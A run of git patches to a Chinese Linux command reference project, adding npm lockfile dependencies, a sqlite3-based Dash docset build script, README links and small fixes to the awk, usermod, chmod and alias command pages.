"resolved": "http://registry.npm.taobao.org/isstream/download/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", + "dev": true + }, + "jsbn": { + "version": "0.1.1", + "resolved": "http://registry.npm.taobao.org/jsbn/download/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", + "dev": true + }, + "json-schema": { + "version": "0.2.3", + "resolved": "http://registry.npm.taobao.org/json-schema/download/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "http://registry.npm.taobao.org/json-schema-traverse/download/json-schema-traverse-0.4.1.tgz", + "integrity": "sha1-afaofZUTq4u4/mO9sJecRI5oRmA=", + "dev": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "http://registry.npm.taobao.org/json-stringify-safe/download/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", + "dev": true + }, "jsonfile": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", @@ -264,6 +611,18 @@ "graceful-fs": "^4.1.6" } }, + "jsprim": { + "version": "1.4.1", + "resolved": "http://registry.npm.taobao.org/jsprim/download/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "dev": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, "loading-cli": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/loading-cli/-/loading-cli-1.0.8.tgz", @@ -285,6 +644,21 @@ "integrity": "sha512-LqxwVH3P/rqKX4EKGz7+c2G9r98WeM/SW34ybhgNGhUQNKtf1GmmSkJ6cDGJ/t6tiyae49qRkpyTw2B9HOrgUA==", "dev": true }, + "mime-db": { + "version": "1.40.0", + "resolved": "http://registry.npm.taobao.org/mime-db/download/mime-db-1.40.0.tgz", + "integrity": "sha1-plBX6ZjbCQ9zKmj2wnbTh9QSbDI=", + "dev": true + }, + "mime-types": { + "version": "2.1.24", + "resolved": "http://registry.npm.taobao.org/mime-types/download/mime-types-2.1.24.tgz", + "integrity": "sha1-tvjQs+lR77d97eyhlM/20W9nb4E=", + "dev": true, + "requires": { + "mime-db": "1.40.0" + } + }, "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", @@ -300,6 +674,25 @@ "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", "dev": true }, + "minipass": { + "version": "2.3.5", + "resolved": "http://registry.npm.taobao.org/minipass/download/minipass-2.3.5.tgz", + "integrity": "sha1-ys6+SSAiSX9law8PUeJoKp7S2Eg=", + "dev": true, + "requires": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "minizlib": { + "version": "1.2.1", + "resolved": "http://registry.npm.taobao.org/minizlib/download/minizlib-1.2.1.tgz", + "integrity": "sha1-3SfqYTYkPHyIBoToZyuzpF/ZthQ=", + "dev": true, + "requires": { + "minipass": "^2.2.1" + } + }, "mkdirp": { "version": "0.5.1", "resolved": "http://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", @@ -315,6 +708,68 @@ "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", "dev": true }, + "nan": { + "version": "2.10.0", + "resolved": "http://registry.npm.taobao.org/nan/download/nan-2.10.0.tgz", + "integrity": "sha1-ltDNYQ69WNS03pzAxoKM2pnHVI8=", + "dev": true + }, + "needle": { + "version": "2.3.1", + "resolved": "https://registry.npm.taobao.org/needle/download/needle-2.3.1.tgz", + "integrity": "sha1-0nLy9ANK+5xMmrE3mqvBf8hck4g=", + "dev": true, + "requires": { + "debug": "^4.1.0", + "iconv-lite": "^0.4.4", + "sax": "^1.2.4" + }, + "dependencies": { + "debug": { + "version": "4.1.1", + "resolved": "http://registry.npm.taobao.org/debug/download/debug-4.1.1.tgz", + "integrity": "sha1-O3ImAlUQnGtYnO4FDx1RYTlmR5E=", + "dev": true, + "requires": { + "ms": "^2.1.1" + } + }, + "sax": { + "version": "1.2.4", + "resolved": "http://registry.npm.taobao.org/sax/download/sax-1.2.4.tgz", + "integrity": "sha1-KBYjTiN4vdxOU1T6tcqold9xANk=", + "dev": true + } + } + }, + "node-pre-gyp": { + "version": "0.11.0", + "resolved": "https://registry.npm.taobao.org/node-pre-gyp/download/node-pre-gyp-0.11.0.tgz", + "integrity": "sha1-2x8zIVJy9pLNOPAyOOPptHxd0FQ=", + "dev": true, + "requires": { + "detect-libc": "^1.0.2", + "mkdirp": "^0.5.1", + "needle": "^2.2.1", + "nopt": "^4.0.1", + "npm-packlist": "^1.1.6", + "npmlog": "^4.0.2", + "rc": "^1.2.7", + "rimraf": "^2.6.1", + "semver": "^5.3.0", + "tar": "^4" + } + }, + "nopt": { + "version": "4.0.1", + "resolved": "http://registry.npm.taobao.org/nopt/download/nopt-4.0.1.tgz", + "integrity": "sha1-0NRoWv1UFRk8jHUFYC0NF81kR00=", + "dev": true, + "requires": { + "abbrev": "1", + "osenv": "^0.1.4" + } + }, "normalize-url": { "version": "1.9.1", "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz", @@ -327,6 +782,46 @@ "sort-keys": "^1.0.0" } }, + "npm-bundled": { + "version": "1.0.6", + "resolved": "http://registry.npm.taobao.org/npm-bundled/download/npm-bundled-1.0.6.tgz", + "integrity": "sha1-57qarc75YrthJI+RchzZMrP+a90=", + "dev": true + }, + "npm-packlist": { + "version": "1.4.1", + "resolved": "http://registry.npm.taobao.org/npm-packlist/download/npm-packlist-1.4.1.tgz", + "integrity": "sha1-GQZM35iNqA6jzuRVM4edkBkrv7w=", + "dev": true, + "requires": { + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1" + } + }, + "npmlog": { + "version": "4.1.2", + "resolved": "http://registry.npm.taobao.org/npmlog/download/npmlog-4.1.2.tgz", + "integrity": "sha1-CKfyqL9zRgR3mp76StXMcXq7lUs=", + "dev": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "resolved": "http://registry.npm.taobao.org/number-is-nan/download/number-is-nan-1.0.1.tgz", + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "dev": true + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "http://registry.npm.taobao.org/oauth-sign/download/oauth-sign-0.9.0.tgz", + "integrity": "sha1-R6ewFrqmi1+g7PPe4IqFxnmsZFU=", + "dev": true + }, "object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", @@ -342,6 +837,28 @@ "wrappy": "1" } }, + "os-homedir": { + "version": "1.0.2", + "resolved": "http://registry.npm.taobao.org/os-homedir/download/os-homedir-1.0.2.tgz", + "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", + "dev": true + }, + "os-tmpdir": { + "version": "1.0.2", + "resolved": "http://registry.npm.taobao.org/os-tmpdir/download/os-tmpdir-1.0.2.tgz", + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", + "dev": true + }, + "osenv": { + "version": "0.1.5", + "resolved": "http://registry.npm.taobao.org/osenv/download/osenv-0.1.5.tgz", + "integrity": "sha1-hc36+uso6Gd/QW4odZK18/SepBA=", + "dev": true, + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, "path": { "version": "0.12.7", "resolved": "https://registry.npmjs.org/path/-/path-0.12.7.tgz", @@ -358,6 +875,12 @@ "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", "dev": true }, + "performance-now": { + "version": "2.1.0", + "resolved": "http://registry.npm.taobao.org/performance-now/download/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", + "dev": true + }, "pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", @@ -400,6 +923,30 @@ "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", "dev": true }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "http://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.0.tgz", + "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o=", + "dev": true + }, + "psl": { + "version": "1.1.31", + "resolved": "http://registry.npm.taobao.org/psl/download/psl-1.1.31.tgz", + "integrity": "sha1-6aqG0BAbWxBcvpOsa3hM1UcnYYQ=", + "dev": true + }, + "punycode": { + "version": "2.1.1", + "resolved": "http://registry.npm.taobao.org/punycode/download/punycode-2.1.1.tgz", + "integrity": "sha1-tYsBCsQMIsVldhbI0sLALHv0eew=", + "dev": true + }, + "qs": { + "version": "6.5.2", + "resolved": "http://registry.npm.taobao.org/qs/download/qs-6.5.2.tgz?cache=0&other_urls=http%3A%2F%2Fregistry.npm.taobao.org%2Fqs%2Fdownload%2Fqs-6.5.2.tgz", + "integrity": "sha1-yzroBuh0BERYTvFUzo7pjUA/PjY=", + "dev": true + }, "query-string": { "version": "4.3.4", "resolved": "https://registry.npmjs.org/query-string/-/query-string-4.3.4.tgz", @@ -410,6 +957,69 @@ "strict-uri-encode": "^1.0.0" } }, + "rc": { + "version": "1.2.8", + "resolved": "http://registry.npm.taobao.org/rc/download/rc-1.2.8.tgz", + "integrity": "sha1-zZJL9SAKB1uDwYjNa54hG3/A0+0=", + "dev": true, + "requires": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "resolved": "http://registry.npm.taobao.org/minimist/download/minimist-1.2.0.tgz", + "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", + "dev": true + } + } + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "http://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.6.tgz", + "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "request": { + "version": "2.88.0", + "resolved": "http://registry.npm.taobao.org/request/download/request-2.88.0.tgz?cache=0&other_urls=http%3A%2F%2Fregistry.npm.taobao.org%2Frequest%2Fdownload%2Frequest-2.88.0.tgz", + "integrity": "sha1-nC/KT301tZLv5Xx/ClXoEFIST+8=", + "dev": true, + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.0", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.4.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + } + }, "rimraf": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", @@ -419,6 +1029,18 @@ "glob": "^7.0.5" } }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "http://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz", + "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0=", + "dev": true + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "http://registry.npm.taobao.org/safer-buffer/download/safer-buffer-2.1.2.tgz", + "integrity": "sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo=", + "dev": true + }, "sax": { "version": "0.5.8", "resolved": "http://registry.npmjs.org/sax/-/sax-0.5.8.tgz", @@ -432,6 +1054,24 @@ "dev": true, "optional": true }, + "semver": { + "version": "5.7.0", + "resolved": "http://registry.npm.taobao.org/semver/download/semver-5.7.0.tgz?cache=0&other_urls=http%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-5.7.0.tgz", + "integrity": "sha1-eQp89v6lRZuslhELKbYEEtyP+Ws=", + "dev": true + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "http://registry.npm.taobao.org/set-blocking/download/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", + "dev": true + }, + "signal-exit": { + "version": "3.0.2", + "resolved": "http://registry.npm.taobao.org/signal-exit/download/signal-exit-3.0.2.tgz", + "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", + "dev": true + }, "sort-keys": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", @@ -450,12 +1090,75 @@ "amdefine": ">=0.0.4" } }, + "sqlite3": { + "version": "4.0.6", + "resolved": "https://registry.npm.taobao.org/sqlite3/download/sqlite3-4.0.6.tgz", + "integrity": "sha1-5Ye1g7Wsxss41EN97bJXI1nAgK0=", + "dev": true, + "requires": { + "nan": "~2.10.0", + "node-pre-gyp": "^0.11.0", + "request": "^2.87.0" + } + }, + "sshpk": { + "version": "1.16.1", + "resolved": "http://registry.npm.taobao.org/sshpk/download/sshpk-1.16.1.tgz", + "integrity": "sha1-+2YcC+8ps520B2nuOfpwCT1vaHc=", + "dev": true, + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, "strict-uri-encode": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=", "dev": true }, + "string-width": { + "version": "1.0.2", + "resolved": "http://registry.npm.taobao.org/string-width/download/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "http://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz", + "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "http://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dev": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "resolved": "https://registry.npm.taobao.org/strip-json-comments/download/strip-json-comments-2.0.1.tgz", + "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", + "dev": true + }, "strip-outer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", @@ -501,6 +1204,21 @@ } } }, + "tar": { + "version": "4.4.8", + "resolved": "http://registry.npm.taobao.org/tar/download/tar-4.4.8.tgz?cache=0&other_urls=http%3A%2F%2Fregistry.npm.taobao.org%2Ftar%2Fdownload%2Ftar-4.4.8.tgz", + "integrity": "sha1-sZ7sP94qluZGZt+f20DFyhvDdH0=", + "dev": true, + "requires": { + "chownr": "^1.1.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.3.4", + "minizlib": "^1.1.1", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.2", + "yallist": "^3.0.2" + } + }, "tiny-emitter": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz", @@ -508,6 +1226,24 @@ "dev": true, "optional": true }, + "tough-cookie": { + "version": "2.4.3", + "resolved": "http://registry.npm.taobao.org/tough-cookie/download/tough-cookie-2.4.3.tgz", + "integrity": "sha1-U/Nto/R3g7CSWvoG/587FlKA94E=", + "dev": true, + "requires": { + "psl": "^1.1.24", + "punycode": "^1.4.1" + }, + "dependencies": { + "punycode": { + "version": "1.4.1", + "resolved": "http://registry.npm.taobao.org/punycode/download/punycode-1.4.1.tgz", + "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", + "dev": true + } + } + }, "trim-repeated": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", @@ -517,6 +1253,21 @@ "escape-string-regexp": "^1.0.2" } }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "http://registry.npm.taobao.org/tunnel-agent/download/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "dev": true, + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "http://registry.npm.taobao.org/tweetnacl/download/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", + "dev": true + }, "uglify-js": { "version": "3.4.9", "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.9.tgz", @@ -547,6 +1298,15 @@ "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", "dev": true }, + "uri-js": { + "version": "4.2.2", + "resolved": "http://registry.npm.taobao.org/uri-js/download/uri-js-4.2.2.tgz", + "integrity": "sha1-lMVA4f93KVbiKZUHwBCupsiDjrA=", + "dev": true, + "requires": { + "punycode": "^2.1.0" + } + }, "util": { "version": "0.10.4", "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz", @@ -556,11 +1316,49 @@ "inherits": "2.0.3" } }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "http://registry.npm.taobao.org/util-deprecate/download/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "uuid": { + "version": "3.3.2", + "resolved": "http://registry.npm.taobao.org/uuid/download/uuid-3.3.2.tgz?cache=0&other_urls=http%3A%2F%2Fregistry.npm.taobao.org%2Fuuid%2Fdownload%2Fuuid-3.3.2.tgz", + "integrity": "sha1-G0r0lV6zB3xQHCOHL8ZROBFYcTE=", + "dev": true + }, + "verror": { + "version": "1.10.0", + "resolved": "http://registry.npm.taobao.org/verror/download/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "wide-align": { + "version": "1.1.3", + "resolved": "http://registry.npm.taobao.org/wide-align/download/wide-align-1.1.3.tgz", + "integrity": "sha1-rgdOa9wMFKQx6ATmJFScYzsABFc=", + "dev": true, + "requires": { + "string-width": "^1.0.2 || 2" + } + }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", "dev": true + }, + "yallist": { + "version": "3.0.3", + "resolved": "http://registry.npm.taobao.org/yallist/download/yallist-3.0.3.tgz", + "integrity": "sha1-tLBJ4xS+VF486AIjbWzSLNkcPek=", + "dev": true } } } diff --git a/package.json b/package.json index faaee69c9b9..89269b6177f 100644 --- a/package.json +++ b/package.json @@ -6,7 +6,8 @@ "scripts": { "start": "npm run build && npm run deploy", "build": "node build/build.js", - "deploy": "node build/deploy.js" + "deploy": "node build/deploy.js", + "dash": "npm run build && node build/dash.js" }, "files": [ "command", @@ -32,6 +33,7 @@ "marked": "^0.6.2", "path": "^0.12.7", "prismjs": "^1.16.0", + "sqlite3": "^4.0.6", "stylus": "^0.54.5", "uglify-js": "^3.4.9" }, From 175ced31064ccfa72ddff249cff8879bff6c450b Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 5 May 2019 20:28:47 +0800 Subject: [PATCH 0007/1019] Update Document. --- README.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 62270538dd7..ee5d1f89a05 100644 --- a/README.md +++ b/README.md @@ -12,7 +12,7 @@ Linux Command 550 多个 Linux 命令，内容包含 Linux 命令手册、详解、学习，值得收藏的 Linux 命令速查手册。请原谅我写了个爬虫，爬了他们家的数据 [linuxde.net](http://man.linuxde.net) ，同时进行了编辑，增加了一些数据。对他们的辛勤劳动表示敬意，个人希望能本地离线搜索，不喜欢广告，希望得到干净漂亮的预览界面，业余和工作时间需要使用大量的命令，所以干了一件看似比较愚蠢的事情，在回头有空的时候估计能做一个App？，或者是命令行帮助工具？但目前还没有计划... -[Web](#web-版本) | [Alfred](#alfred-版本) | [Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) +[Web](#web-版本) | [Dash](#dash-版本) | [Alfred](#alfred-版本) | [Krunner](https://github.com/roachsinai/krunner-linuxcommands) | [Android](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome Plugin](#chrome-插件) ## 开发使用 @@ -74,6 +74,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 [![Linux 命令大全](./assets/alfred.png)](https://github.com/jaywcjlove/linux-command/releases) +#### Dash 版本 + +由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供的 `Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91)，可配合 `alfred` 玩耍，下载 [linux-command.docset.zip](https://github.com/jaywcjlove/linux-command/releases) 文件解压，点击安装即可。 + +[![](https://user-images.githubusercontent.com/8779091/57193499-5b475d00-6f6e-11e9-879d-e7e8fdc40ced.gif)](https://github.com/jaywcjlove/linux-command/releases) + ## 目录 - [Linux命令分类](#linux命令分类) From 336b1550519f577ff0102d57aaa731b438b46c7c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Mon, 6 May 2019 12:17:13 +0800 Subject: [PATCH 0008/1019] Update README.md #92 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ee5d1f89a05..19a85dacb17 100644 --- a/README.md +++ b/README.md @@ -110,7 +110,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ### 文件传输 -bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto +bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto、scp ### 备份压缩 From 0cef809f27540b000f8fe60b0d1b0abd712d20ce Mon Sep 17 00:00:00 2001 From: Xingwen Zhang Date: Tue, 7 May 2019 11:41:37 +0800 Subject: [PATCH 0009/1019] Update awk.md (#94) --- command/awk.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/awk.md b/command/awk.md index c7641dc9894..04566aecf9f 100644 --- a/command/awk.md +++ b/command/awk.md @@ -77,7 +77,7 @@ awk 'BEGIN{ commands } pattern{ commands } END{ commands }' **示例** ```shell -echo -e "A line 1nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' +echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }' Start A line 1 A line 2 From 00b4fa18fb5726e81a808b8842fa834be92f25b9 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 7 May 2019 11:47:25 +0800 Subject: [PATCH 0010/1019] Update README.md #93 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 19a85dacb17..ae1a5a884f2 100644 --- a/README.md +++ b/README.md @@ -138,7 +138,7 @@ adduser、chfn、chsh、date、exit、finger、free、fwhois、gitps、groupdel ### 文档编辑 -col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、wc +col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、vi、wc ### 网络通讯 From 7d6c8c6b3468a0dd5311ee68934c9b8db64469f7 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Tue, 7 May 2019 14:57:47 +0800 Subject: [PATCH 0011/1019] =?UTF-8?q?=20usermod=20=E5=A2=9E=E5=8A=A0?= =?UTF-8?q?=E4=BF=AE=E6=94=B9=E7=94=A8=E6=88=B7=E5=AE=B6=E7=9B=AE=E5=BD=95?= =?UTF-8?q?=E7=9A=84=E9=80=89=E9=A1=B9=E4=BB=A5=E5=8F=8A=E5=AE=9E=E4=BE=8B?= =?UTF-8?q?=20(#96)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * 修改107行的g全局作用 g不应该是匹配每一行的第一个匹配项，而是每一行的所有匹配项 * 增加修改用户家目录的选项以及实例 增加修改用户家目录的选项以及实例 --- command/usermod.md | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/command/usermod.md b/command/usermod.md index eea12064084..bcfb05bc55c 100644 --- a/command/usermod.md +++ b/command/usermod.md @@ -17,7 +17,8 @@ usermod(选项)(参数) ```shell -c<备注>：修改用户帐号的备注文字； --d<登入目录>：修改用户登入时的目录； +-d<登入目录>：修改用户登入时的目录，只是修改/etc/passwd中用户的家目录配置信息，不会自动创建新的家目录，通常和-m一起使用； +-m<移动用户家目录>:移动用户家目录到新的位置，不能单独使用，一般与-d一起使用。 -e<有效期限>：修改帐号的有效期限； -f<缓冲天数>：修改在密码过期后多少天即关闭该帐号； -g<群组>：修改用户所属的群组； @@ -68,4 +69,15 @@ usermod -aG group user # 添加用户到用户组中 `-a` 参数表示附加，只和 `-G` 参数一同使用，表示将用户增加到组中。 +修改用户家目录： +``` +[root@node-1 ~]# useradd lutixiaya +[root@node-1 ~]# ls /home +lutixiaya +[root@node-1 ~]# usermod -md /data/new_home lutixiaya +[root@node-1 ~]# ls /home/ +[root@node-1 ~]# ls /data/ +new_home +``` + From 949e87e8bf7b4ee6f66d9c826b99815af6cfc5ee Mon Sep 17 00:00:00 2001 From: "gang.yang" Date: Fri, 10 May 2019 17:44:39 +0800 Subject: [PATCH 0012/1019] =?UTF-8?q?line=2093=EF=BC=8C=20remark=20uesr=20?= =?UTF-8?q?=3D>=20user=20(#98)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit line 93， remark uesr => user --- command/chmod.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/chmod.md b/command/chmod.md index b73fc358d6b..ad59e0a0a59 100644 --- a/command/chmod.md +++ b/command/chmod.md @@ -90,7 +90,7 @@ chmod a+x f01　　 # 对文件f01的u,g,o都设置可执行属性 文件的属主和属组属性设置 ```shell -chown user:market f01　　# 把文件f01给uesr，添加到market组 +chown user:market f01　　# 把文件f01给user，添加到market组 ll -d f1 查看目录f1的属性 ``` From 3150fcc2e94946e3d007421e164d6c2df2f744c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= <398188662@qq.com> Date: Sat, 11 May 2019 00:48:23 +0800 Subject: [PATCH 0013/1019] Update alias.md --- command/alias.md | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/command/alias.md b/command/alias.md index b0ae470440c..300a43989f4 100644 --- a/command/alias.md +++ b/command/alias.md @@ -57,7 +57,7 @@ alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-ti ``` ### 命令别名永久生效 -直接在shell里设定的命令别名，在终端关闭或者系统重新启动后都会失效，如何才能永久有效呢？办法就是将别名的设置加入~/.bashrc文件，然后重新载入下文件就可以了。 +直接在shell里设定的命令别名，在终端关闭或者系统重新启动后都会失效，如何才能永久有效呢？办法就是将别名的设置加入 `~/.bashrc` 文件，然后重新载入下文件就可以了。 ```shell $ vim ~/.bashrc @@ -76,7 +76,7 @@ if [ -f ~/.bash_aliases ]; then fi ``` -这个代码的意思就是加载.bash_aliases文件，CentOS7已经帮我们考虑好了，所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。 +这个代码的意思就是加载.bash_aliases文件，CentOS7已经帮我们考虑好了，所以也可以在用户根目录下新建一个文件 `.bash_aliases` 存放命令别名设置。 ### 小结 @@ -96,22 +96,22 @@ CentOS系统下的创建自定义命令其实比较简单，使用的命令就 